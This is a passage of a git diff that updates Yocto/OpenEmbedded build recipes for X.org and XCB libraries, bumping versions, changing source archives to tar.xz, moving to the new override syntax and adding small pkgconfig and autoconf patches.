diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.0.bb b/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.0.bb
deleted file mode 100644
index bca64ed61f..0000000000
--- a/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require xcb-util.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://keysyms/keysyms.c;endline=30;md5=2f8de023ed823bb92f0b47900574ea9e \
- "
-SRC_URI[md5sum] = "1022293083eec9e62d5659261c29e367"
-SRC_URI[sha256sum] = "0ef8490ff1dede52b7de533158547f8b454b241aa3e4dcca369507f66f216dd9"
-
-
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.1.bb b/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.1.bb
new file mode 100644
index 0000000000..f1a4c3e500
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.1.bb
@@ -0,0 +1,8 @@
+require xcb-util.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://keysyms/keysyms.c;endline=30;md5=2f8de023ed823bb92f0b47900574ea9e \
+ "
+SRC_URI[sha256sum] = "7c260a5294412aed429df1da2f8afd3bd07b7cba3fec772fba15a613a6d5c638"
+
+
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.10.bb b/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.10.bb
new file mode 100644
index 0000000000..6590fa3301
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.10.bb
@@ -0,0 +1,9 @@
+require xcb-util.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://renderutil/glyph.c;endline=24;md5=c517c483b8d726234ec94f9169236661 \
+ file://renderutil/util.c;endline=20;md5=6e0bfc44fb13298c0f4694eb70dc80d4 \
+ file://renderutil/xcb_renderutil.h;endline=24;md5=d0ddab3052dd4949c93cfcb0891c96df \
+ "
+
+SRC_URI[sha256sum] = "3e15d4f0e22d8ddbfbb9f5d77db43eacd7a304029bf25a6166cc63caa96d04ba"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.9.bb b/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.9.bb
deleted file mode 100644
index 25c22e5fa7..0000000000
--- a/meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.9.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require xcb-util.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://renderutil/glyph.c;endline=24;md5=c517c483b8d726234ec94f9169236661 \
- file://renderutil/util.c;endline=20;md5=6e0bfc44fb13298c0f4694eb70dc80d4 \
- file://renderutil/xcb_renderutil.h;endline=24;md5=d0ddab3052dd4949c93cfcb0891c96df \
- "
-
-SRC_URI[md5sum] = "468b119c94da910e1291f3ffab91019a"
-SRC_URI[sha256sum] = "c6e97e48fb1286d6394dddb1c1732f00227c70bd1bedb7d1acabefdd340bea5b"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.1.bb b/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.1.bb
deleted file mode 100644
index 39f1383299..0000000000
--- a/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.1.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require xcb-util.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://ewmh/ewmh.c.m4;endline=27;md5=63fd80552d7dc886f4eb267610d5bb9d \
- file://ewmh/xcb_ewmh.h.m4;beginline=4;endline=30;md5=73b589f90ef90b4a43998955daad5cd8 \
- file://icccm/icccm.c;endline=28;md5=e2b3240a0c197e8977adde2a5cf18d50 \
- file://icccm/xcb_icccm.h;beginline=4;endline=31;md5=393772b7b07b9868d479d538238c1d8a \
- "
-
-SRC_URI[md5sum] = "87b19a1cd7bfcb65a24e36c300e03129"
-SRC_URI[sha256sum] = "28bf8179640eaa89276d2b0f1ce4285103d136be6c98262b6151aaee1d3c2a3f"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.2.bb b/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.2.bb
new file mode 100644
index 0000000000..65d340f88c
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.2.bb
@@ -0,0 +1,10 @@
+require xcb-util.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://ewmh/ewmh.c.m4;endline=27;md5=63fd80552d7dc886f4eb267610d5bb9d \
+ file://ewmh/xcb_ewmh.h.m4;beginline=4;endline=30;md5=73b589f90ef90b4a43998955daad5cd8 \
+ file://icccm/icccm.c;endline=28;md5=e2b3240a0c197e8977adde2a5cf18d50 \
+ file://icccm/xcb_icccm.h;beginline=4;endline=31;md5=393772b7b07b9868d479d538238c1d8a \
+ "
+
+SRC_URI[sha256sum] = "62c34e21d06264687faea7edbf63632c9f04d55e72114aa4a57bb95e4f888a0b"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util.inc b/meta/recipes-graphics/xorg-lib/xcb-util.inc
index 0e5ab70b2d..9898a6a13e 100644
--- a/meta/recipes-graphics/xorg-lib/xcb-util.inc
+++ b/meta/recipes-graphics/xorg-lib/xcb-util.inc
@@ -16,7 +16,7 @@ SECTION = "x11/libs"
DEPENDS = "libxcb"
DEPENDS += "gperf-native"
-SRC_URI = "http://xcb.freedesktop.org/dist/${BPN}-${PV}.tar.bz2"
+SRC_URI = "http://xcb.freedesktop.org/dist/${BPN}-${PV}.tar.xz"
inherit autotools pkgconfig features_check
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util_0.4.0.bb b/meta/recipes-graphics/xorg-lib/xcb-util_0.4.0.bb
deleted file mode 100644
index 206f07a65c..0000000000
--- a/meta/recipes-graphics/xorg-lib/xcb-util_0.4.0.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require xcb-util.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://src/xcb_aux.c;endline=30;md5=ae305b9c2a38f9ba27060191046a6460 \
- file://src/xcb_event.h;endline=27;md5=627be355aee59e1b8ade80d5bd90fad9"
-
-SRC_URI[md5sum] = "2e97feed81919465a04ccc71e4073313"
-SRC_URI[sha256sum] = "46e49469cb3b594af1d33176cd7565def2be3fa8be4371d62271fabb5eae50e9"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util_0.4.1.bb b/meta/recipes-graphics/xorg-lib/xcb-util_0.4.1.bb
new file mode 100644
index 0000000000..0da004f907
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util_0.4.1.bb
@@ -0,0 +1,9 @@
+require xcb-util.inc
+
+SRC_URI = "http://xcb.freedesktop.org/dist/${BPN}-${PV}.tar.xz"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://src/xcb_aux.c;endline=30;md5=ae305b9c2a38f9ba27060191046a6460 \
+ file://src/xcb_event.h;endline=27;md5=627be355aee59e1b8ade80d5bd90fad9"
+
+SRC_URI[sha256sum] = "5abe3bbbd8e54f0fa3ec945291b7e8fa8cfd3cccc43718f8758430f94126e512"
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.30.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.30.bb
deleted file mode 100644
index a4d67cd2ce..0000000000
--- a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.30.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Keyboard configuration database for X Window"
-
-DESCRIPTION = "The non-arch keyboard configuration database for X \
-Window. The goal is to provide the consistent, well-structured, \
-frequently released open source of X keyboard configuration data for X \
-Window System implementations. The project is targeted to XKB-based \
-systems."
-
-HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0e7f21ca7db975c63467d2e7624a12f9"
-
-SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "095a524f7b633ed257617202d06c9c71fe020c8897b106cf0dcdd0c6e8b797d4"
-
-SECTION = "x11/libs"
-DEPENDS = "util-macros libxslt-native"
-
-EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
-
-FILES_${PN} += "${datadir}/X11/xkb"
-
-inherit autotools pkgconfig gettext
-
-do_install_append () {
- install -d ${D}${datadir}/X11/xkb/compiled
- cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
-}
diff --git a/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.41.bb b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.41.bb
new file mode 100644
index 0000000000..79ce7dea35
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.41.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Keyboard configuration database for X Window"
+
+DESCRIPTION = "The non-arch keyboard configuration database for X \
+Window. The goal is to provide the consistent, well-structured, \
+frequently released open source of X keyboard configuration data for X \
+Window System implementations. The project is targeted to XKB-based \
+systems."
+
+HOMEPAGE = "http://freedesktop.org/wiki/Software/XKeyboardConfig"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xkeyboard-config"
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8fc8ae699974c360e2e2e883a63ce264"
+
+SRC_URI = "${XORG_MIRROR}/individual/data/xkeyboard-config/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f02cd6b957295e0d50236a3db15825256c92f67ef1f73bf1c77a4b179edf728f"
+
+SECTION = "x11/libs"
+DEPENDS = "util-macros libxslt-native"
+
+EXTRA_OECONF = "--with-xkb-rules-symlink=xorg --disable-runtime-deps"
+
+FILES:${PN} += "${datadir}/X11/xkb"
+
+inherit meson pkgconfig gettext python3native
+
+do_install:append () {
+ install -d ${D}${datadir}/X11/xkb/compiled
+ cd ${D}${datadir}/X11/xkb/rules && ln -sf base xorg
+}
+
+BBCLASSEXTEND += "native"
diff --git a/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc b/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
index a566eaa45e..15c7ecf782 100644
--- a/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
+++ b/meta/recipes-graphics/xorg-lib/xorg-lib-common.inc
@@ -2,12 +2,13 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/libs"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = "util-macros"
XORG_PN = "${BPN}"
+XORG_EXT ?= "tar.xz"
-SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.${XORG_EXT}"
S = "${WORKDIR}/${XORG_PN}-${PV}"
@@ -18,7 +19,7 @@ EXTRA_OECONF = "--disable-specs --without-groff --without-ps2pdf --without-fop"
PACKAGECONFIG ??= ""
PACKAGECONFIG[xmlto] = "--with-xmlto, --without-xmlto, xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-UNKNOWN_CONFIGURE_WHITELIST += "--enable-malloc0returnsnull --disable-malloc0returnsnull \
+UNKNOWN_CONFIGURE_OPT_IGNORE += "--enable-malloc0returnsnull --disable-malloc0returnsnull \
--disable-specs --without-groff --without-ps2pdf --without-fop \
--without-xmlto --with-xmlto \
"
diff --git a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb b/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
deleted file mode 100644
index 5bf134b5f8..0000000000
--- a/meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "XTrans: X Transport library"
-
-DESCRIPTION = "The X Transport Interface is intended to combine all \
-system and transport specific code into a single place. This API should \
-be used by all libraries, clients and servers of the X Window System. \
-Use of this API should allow the addition of new types of transports and \
-support for new platforms without making any changes to the source \
-except in the X Transport Interface code."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=49347921d4d5268021a999f250edc9ca"
-
-SRC_URI += "file://multilibfix.patch"
-
-PE = "1"
-
-RDEPENDS_${PN}-dev = ""
-
-inherit gettext
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "ce2fb8100c6647ee81451ebe388b17ad"
-SRC_URI[sha256sum] = "377c4491593c417946efcd2c7600d1e62639f7a8bbca391887e2c4679807d773"
diff --git a/meta/recipes-graphics/xorg-lib/xtrans_1.5.0.bb b/meta/recipes-graphics/xorg-lib/xtrans_1.5.0.bb
new file mode 100644
index 0000000000..781382e516
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xtrans_1.5.0.bb
@@ -0,0 +1,25 @@
+SUMMARY = "XTrans: X Transport library"
+
+DESCRIPTION = "The X Transport Interface is intended to combine all \
+system and transport specific code into a single place. This API should \
+be used by all libraries, clients and servers of the X Window System. \
+Use of this API should allow the addition of new types of transports and \
+support for new platforms without making any changes to the source \
+except in the X Transport Interface code."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bc875e1c864f4f62b29f7d8651f627fa"
+
+SRC_URI += "file://multilibfix.patch"
+
+PE = "1"
+
+DEV_PKG_DEPENDENCY = ""
+
+inherit gettext
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "1ba4b703696bfddbf40bacf25bce4e3efb2a0088878f017a50e9884b0c8fb1bd"
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto/0001-Fix-install-conflict-when-enable-multilib.patch b/meta/recipes-graphics/xorg-proto/xcb-proto/0001-Fix-install-conflict-when-enable-multilib.patch
new file mode 100644
index 0000000000..4209139da8
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xcb-proto/0001-Fix-install-conflict-when-enable-multilib.patch
@@ -0,0 +1,32 @@
+From fc28149b6b198042c8d29e0931415adad7ed3231 Mon Sep 17 00:00:00 2001
+From: Wang Mingyu <wangmy@fujitsu.com>
+Date: Thu, 16 Mar 2023 08:03:47 +0000
+Subject: [PATCH] Fix install conflict when enable multilib.
+
+Automake defines pythondir in terms of libdir (rather than hardcode 'lib' or query it from python as automake upstream does)
+https://git.yoctoproject.org/poky/tree/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
+
+So libdir needs to be defined when pythondir is defined.
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 8b57a83..580f5bc 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -1,6 +1,6 @@
+ SUBDIRS = src xcbgen
+
+-pkgconfigdir = $(datarootdir)/pkgconfig
++pkgconfigdir = $(libdir)/pkgconfig
+ pkgconfig_DATA = xcb-proto.pc
+
+ EXTRA_DIST=doc xcb-proto.pc.in autogen.sh README.md
+--
+2.34.1
+
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto/0001-xcb-proto.pc.in-reinstate-libdir.patch b/meta/recipes-graphics/xorg-proto/xcb-proto/0001-xcb-proto.pc.in-reinstate-libdir.patch
new file mode 100644
index 0000000000..fe0a96c207
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xcb-proto/0001-xcb-proto.pc.in-reinstate-libdir.patch
@@ -0,0 +1,29 @@
+From ed499cffabe64fc1dc5898cb69ffa7e62c19e9d8 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 5 Jul 2022 21:19:20 +0200
+Subject: [PATCH] xcb-proto.pc.in: reinstate libdir
+
+Otherwise the following occurs when building libxcb:
+| checking for xcb-proto >= 1.14... no
+| configure: error: Package requirements (xcb-proto >= 1.14) were not met:
+|
+| Variable 'libdir' not defined in '/srv/work/alex/poky/build-64-alt/tmp/work/core2-64-poky-linux/libxcb/1.15-r0/recipe-sysroot/usr/share/pkgconfig/xcb-proto.pc'
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/proto/xcbproto/-/merge_requests/31]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ xcb-proto.pc.in | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/xcb-proto.pc.in b/xcb-proto.pc.in
+index 0822b18..c7c8b47 100644
+--- a/xcb-proto.pc.in
++++ b/xcb-proto.pc.in
+@@ -2,6 +2,7 @@ prefix=@prefix@
+ exec_prefix=@exec_prefix@
+ datarootdir=@datarootdir@
+ datadir=@datadir@
++libdir=@libdir@
+ xcbincludedir=${pc_sysrootdir}@xcbincludedir@
+ PYTHON_PREFIX=@PYTHON_PREFIX@
+ pythondir=${pc_sysrootdir}@pythondir@
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.bb b/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.bb
deleted file mode 100644
index 6de30098d6..0000000000
--- a/meta/recipes-graphics/xorg-proto/xcb-proto_1.14.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "XCB: The X protocol C binding headers"
-DESCRIPTION = "Function prototypes for the X protocol C-language Binding \
-(XCB). XCB is a replacement for Xlib featuring a small footprint, \
-latency hiding, direct access to the protocol, improved threading \
-support, and extensibility."
-HOMEPAGE = "http://xcb.freedesktop.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
-
-SECTION = "x11/libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7 \
- file://src/dri2.xml;beginline=2;endline=28;md5=f8763b13ff432e8597e0d610cf598e65"
-
-SRC_URI = "http://xcb.freedesktop.org/dist/${BP}.tar.xz"
-SRC_URI[sha256sum] = "186a3ceb26f9b4a015f5a44dcc814c93033a5fc39684f36f1ecc79834416a605"
-
-inherit autotools pkgconfig python3native
-
-PACKAGES += "python-xcbgen"
-
-FILES_${PN} = ""
-FILES_${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
-FILES_python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
-
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xcb-proto_1.16.0.bb b/meta/recipes-graphics/xorg-proto/xcb-proto_1.16.0.bb
new file mode 100644
index 0000000000..67c1e8d97d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xcb-proto_1.16.0.bb
@@ -0,0 +1,31 @@
+SUMMARY = "XCB: The X protocol C binding headers"
+DESCRIPTION = "Function prototypes for the X protocol C-language Binding \
+(XCB). XCB is a replacement for Xlib featuring a small footprint, \
+latency hiding, direct access to the protocol, improved threading \
+support, and extensibility."
+HOMEPAGE = "http://xcb.freedesktop.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=XCB"
+
+SECTION = "x11/libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d763b081cb10c223435b01e00dc0aba7 \
+ file://src/dri2.xml;beginline=2;endline=28;md5=f8763b13ff432e8597e0d610cf598e65"
+
+SRC_URI = "https://xorg.freedesktop.org/archive/individual/proto/${BP}.tar.xz \
+ file://0001-xcb-proto.pc.in-reinstate-libdir.patch \
+ file://0001-Fix-install-conflict-when-enable-multilib.patch \
+ "
+SRC_URI[sha256sum] = "a75a1848ad2a89a82d841a51be56ce988ff3c63a8d6bf4383ae3219d8d915119"
+
+inherit autotools pkgconfig python3native
+
+PACKAGES += "python-xcbgen"
+
+FILES:${PN} = ""
+FILES:${PN}-dev += "${datadir}/xcb/*.xml ${datadir}/xcb/*.xsd"
+FILES:python-xcbgen = "${PYTHON_SITEPACKAGES_DIR}"
+
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb
deleted file mode 100644
index c71bc9038f..0000000000
--- a/meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-
-SUMMARY = "X Window System unified protocol definitions"
-DESCRIPTION = "This package provides the headers and specification documents defining \
-the core protocol and (many) extensions for the X Window System"
-HOMEPAGE = "http://www.x.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
-
-SECTION = "x11/libs"
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=b9e051107d5628966739a0b2e9b32676"
-
-SRC_URI = "${XORG_MIRROR}/individual/proto/${BP}.tar.bz2"
-SRC_URI[md5sum] = "c29f4fa78f53b52b3efdc71ebd9506b6"
-SRC_URI[sha256sum] = "54a153f139035a376c075845dd058049177212da94d7a9707cf9468367b699d2"
-
-inherit meson
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[legacy] = "-Dlegacy=true,-Dlegacy=false"
-
-# Datadir only used to install pc files, $datadir/pkgconfig
-datadir="${libdir}"
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-proto/xorgproto_2024.1.bb b/meta/recipes-graphics/xorg-proto/xorgproto_2024.1.bb
new file mode 100644
index 0000000000..3f56e21a55
--- /dev/null
+++ b/meta/recipes-graphics/xorg-proto/xorgproto_2024.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "X Window System unified protocol definitions"
+DESCRIPTION = "This package provides the headers and specification documents defining \
+the core protocol and (many) extensions for the X Window System"
+HOMEPAGE = "http://www.x.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
+
+SECTION = "x11/libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING-x11proto;md5=0b9fe3db4015bcbe920e7c67a39ee3f1"
+
+SRC_URI = "${XORG_MIRROR}/individual/proto/${BP}.tar.xz"
+SRC_URI[sha256sum] = "372225fd40815b8423547f5d890c5debc72e88b91088fbfb13158c20495ccb59"
+
+inherit meson
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[legacy] = "-Dlegacy=true,-Dlegacy=false"
+
+# Datadir only used to install pc files, $datadir/pkgconfig
+datadir="${libdir}"
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/makedepend_1.0.6.bb b/meta/recipes-graphics/xorg-util/makedepend_1.0.6.bb
deleted file mode 100644
index 2760edd173..0000000000
--- a/meta/recipes-graphics/xorg-util/makedepend_1.0.6.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require xorg-util-common.inc
-
-SUMMARY = "create dependencies in makefiles"
-
-DESCRIPTION = "The makedepend program reads each sourcefile in sequence \
-and parses it like a C-preprocessor, processing \
-all #include, #define, #undef, #ifdef, #ifndef, #endif, #if, #elif \
-and #else directives so that it can correctly tell which #include, \
-directives would be used in a compilation. Any #include, directives \
-can reference files having other #include directives, and parsing will \
-occur in these files as well."
-
-DEPENDS = "xorgproto util-macros"
-PE = "1"
-
-BBCLASSEXTEND = "native"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=43a6eda34b48ee821b3b66f4f753ce4f"
-
-SRC_URI[md5sum] = "8a583055c84914060c35b6c2f963fc07"
-SRC_URI[sha256sum] = "845f6708fc850bf53f5b1d0fb4352c4feab3949f140b26f71b22faba354c3365"
diff --git a/meta/recipes-graphics/xorg-util/makedepend_1.0.9.bb b/meta/recipes-graphics/xorg-util/makedepend_1.0.9.bb
new file mode 100644
index 0000000000..6db7d04079
--- /dev/null
+++ b/meta/recipes-graphics/xorg-util/makedepend_1.0.9.bb
@@ -0,0 +1,20 @@
+require xorg-util-common.inc
+
+SUMMARY = "create dependencies in makefiles"
+
+DESCRIPTION = "The makedepend program reads each sourcefile in sequence \
+and parses it like a C-preprocessor, processing \
+all #include, #define, #undef, #ifdef, #ifndef, #endif, #if, #elif \
+and #else directives so that it can correctly tell which #include, \
+directives would be used in a compilation. Any #include, directives \
+can reference files having other #include directives, and parsing will \
+occur in these files as well."
+
+DEPENDS = "xorgproto util-macros"
+PE = "1"
+
+BBCLASSEXTEND = "native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=43a6eda34b48ee821b3b66f4f753ce4f"
+
+SRC_URI[sha256sum] = "bc94ffda6cd4671603a69c39dbe8f96b317707b9185b2aaa3b54b5d134b41884"
diff --git a/meta/recipes-graphics/xorg-util/util-macros/0001-xorg-macros.m4.in-do-not-run-AC_CANONICAL_HOST-in-ma.patch b/meta/recipes-graphics/xorg-util/util-macros/0001-xorg-macros.m4.in-do-not-run-AC_CANONICAL_HOST-in-ma.patch
new file mode 100644
index 0000000000..e08b586bf0
--- /dev/null
+++ b/meta/recipes-graphics/xorg-util/util-macros/0001-xorg-macros.m4.in-do-not-run-AC_CANONICAL_HOST-in-ma.patch
@@ -0,0 +1,28 @@
+From 6afaaf164ab9370204856961a92ad8ee523a8293 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 3 Mar 2023 13:24:58 +0100
+Subject: [PATCH] xorg-macros.m4.in: do not run AC_CANONICAL_HOST in manpage
+ section macro
+
+This doesn't work when building allarch items, as it calls into
+config.sub with the host triplet, and config.sub can't match
+it against any architeture it knows.
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ xorg-macros.m4.in | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/xorg-macros.m4.in b/xorg-macros.m4.in
+index 3b8b8e9..6541236 100644
+--- a/xorg-macros.m4.in
++++ b/xorg-macros.m4.in
+@@ -111,7 +111,6 @@ AC_SUBST(TRADITIONALCPPFLAGS)
+ # Added AC_PROG_SED in version 1.8
+
+ AC_DEFUN([XORG_MANPAGE_SECTIONS],[
+-AC_REQUIRE([AC_CANONICAL_HOST])
+ AC_REQUIRE([AC_PROG_SED])
+
+ case $host_os in
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb b/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
deleted file mode 100644
index 268059935c..0000000000
--- a/meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "X autotools macros"
-
-DESCRIPTION = "M4 autotools macros used by various X.org programs."
-
-require xorg-util-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1970511fddd439b07a6ba789d28ff662"
-
-PE = "1"
-
-SRC_URI[md5sum] = "5059b328fac086b733ffac6607164c41"
-SRC_URI[sha256sum] = "9225c45c3de60faf971979a55a5536f3562baa4b6f02246c23e98ac0c09a75b7"
-
-# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/util-macros_1.20.0.bb b/meta/recipes-graphics/xorg-util/util-macros_1.20.0.bb
new file mode 100644
index 0000000000..cd4bc387a2
--- /dev/null
+++ b/meta/recipes-graphics/xorg-util/util-macros_1.20.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "X autotools macros"
+
+DESCRIPTION = "M4 autotools macros used by various X.org programs."
+
+require xorg-util-common.inc
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=42ba50748cb7ccf8739424e5e2072b02"
+
+PE = "1"
+
+SRC_URI += "file://0001-xorg-macros.m4.in-do-not-run-AC_CANONICAL_HOST-in-ma.patch"
+
+SRC_URI[sha256sum] = "8daf36913d551a90fd1013cb078401375dabae021cb4713b9b256a70f00eeb74"
+
+# ${PN} is empty so we need to tweak -dev and -dbg package dependencies
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-util/xorg-util-common.inc b/meta/recipes-graphics/xorg-util/xorg-util-common.inc
index 18d022c49f..a4c85a4ebc 100644
--- a/meta/recipes-graphics/xorg-util/xorg-util-common.inc
+++ b/meta/recipes-graphics/xorg-util/xorg-util-common.inc
@@ -2,7 +2,7 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/utils"
